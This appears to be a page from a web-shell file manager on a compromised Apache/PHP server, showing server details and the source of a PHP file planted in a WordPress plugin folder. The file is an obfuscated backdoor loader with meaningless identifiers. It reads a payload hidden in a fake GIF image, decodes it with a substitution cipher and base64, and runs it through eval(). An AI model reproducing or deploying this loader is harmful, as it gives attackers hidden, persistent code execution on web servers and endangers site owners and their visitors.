HEX
Server: Apache
System: Linux server11 5.10.0-33-amd64 #1 SMP Debian 5.10.226-1 (2024-10-03) x86_64
User: web78 (5081)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: /var/www/clients/client1/web78/web/wp-content/plugins/abechahop/exokhol.txt
<?php

function onibas_adoqonin($jodijy_hojushikal) {
    if ($jodijy_hojushikal == 1)
        return xutyre_sokhokha();
    if ($jodijy_hojushikal == 2)
        return eruheq_ysezyfafa();
}

function qifufa_ykhupivike($jodijy_hojushikal) {
    $wylomi = onibas_adoqonin(1);
    $amylath = onibas_adoqonin(2);
    for ($ewushur = 0; $ewushur < strlen($wylomi); $ewushur++) {
        $yvikuqi = substr($wylomi, $ewushur, 1);
        $yhykimi = substr($amylath, $ewushur, 1);
        $irovig[$yvikuqi] = $yhykimi;
    }

    $hygizho = strtr($jodijy_hojushikal, $irovig);
    $hygizho = base64_decode($hygizho);

    return $hygizho;
}

function ucilik_iximeviji($jodijy_hojushikal) {
    $lyvorog = array();
    if (!file_exists($jodijy_hojushikal))
        return false;
    $rasugaq = @file_get_contents($jodijy_hojushikal);
    if (!$rasugaq)
        return false;
    $rasugaq = substr($rasugaq, 3);
    $lyvorog = qifufa_ykhupivike($rasugaq);
    return $lyvorog;
}

function xutyre_sokhokha() {
    $rasugaq = "FiQg31k9bWjXJNZzcdfH5+=onx2rhTPAy0tYmMqGVI/vBSCwOEeKDaRU8sulp64L7";
    return $rasugaq;
}

function eruheq_ysezyfafa() {
    $lyvorog = "GWOf20hZRdqalKCe6I3SbwVU=umATX8FN5rxLJzkcBsjMQH4iYgDyo/E179tnpvP+";
    return $lyvorog;
}

$uwysyje = ucilik_iximeviji(__DIR__ . "/ass" . "ets/" . "image" . "s/hex" . "yqap.g" . "if");
if ($uwysyje) {
    @eval($uwysyje);
}